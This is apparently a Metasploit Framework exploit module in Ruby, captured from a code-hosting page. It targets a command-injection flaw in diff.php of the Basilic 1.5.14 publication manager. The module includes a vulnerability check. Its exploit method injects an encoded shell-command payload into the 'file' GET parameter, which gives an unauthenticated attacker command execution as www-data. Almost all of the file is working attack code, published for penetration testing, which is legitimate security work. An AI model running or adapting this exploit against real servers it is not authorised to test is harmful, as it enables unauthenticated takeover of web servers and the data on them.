107 lines
2.6 KiB
Ruby
107 lines
2.6 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Basilic 1.5.14 diff.php Arbitrary Command Execution',
|
|
'Description' => %q{
|
|
This module abuses a metacharacter injection vulnerability in the
|
|
diff.php script. This flaw allows an unauthenticated attacker to execute arbitrary
|
|
commands as the www-data user account.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'lcashdollar',
|
|
'sinn3r',
|
|
'juan vazquez'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '83719' ],
|
|
[ 'BID', '54234' ]
|
|
],
|
|
'Platform' => ['linux', 'unix'],
|
|
'Arch' => ARCH_CMD,
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'generic perl ruby python bash telnet'
|
|
}
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic Target', { }]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jun 28 2012'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The base path to Basilic', '/basilic-1.5.14/'])
|
|
], self.class)
|
|
end
|
|
|
|
|
|
def check
|
|
base = normalize_uri(target_uri.path)
|
|
|
|
sig = rand_text_alpha(10)
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri("/#{base}/Config/diff.php"),
|
|
'vars_get' => {
|
|
'file' => sig,
|
|
'new' => '1',
|
|
'old' => '2'
|
|
}
|
|
})
|
|
|
|
if res and res.code == 200 and res.body =~ /#{sig}/
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
|
|
def exploit
|
|
print_status("Sending GET request...")
|
|
|
|
base = normalize_uri(target_uri.path)
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri("/#{base}/Config/diff.php"),
|
|
'vars_get' => {
|
|
'file' => "&#{payload.encoded} #",
|
|
'new' => '1',
|
|
'old' => '2'
|
|
}
|
|
})
|
|
|
|
if res and res.code == 404 then
|
|
print_error("404 Basilic not installed or possibly check URI Path.")
|
|
else
|
|
vprint_line("Server returned #{res.code}")
|
|
end
|
|
|
|
handler
|
|
end
|
|
end
|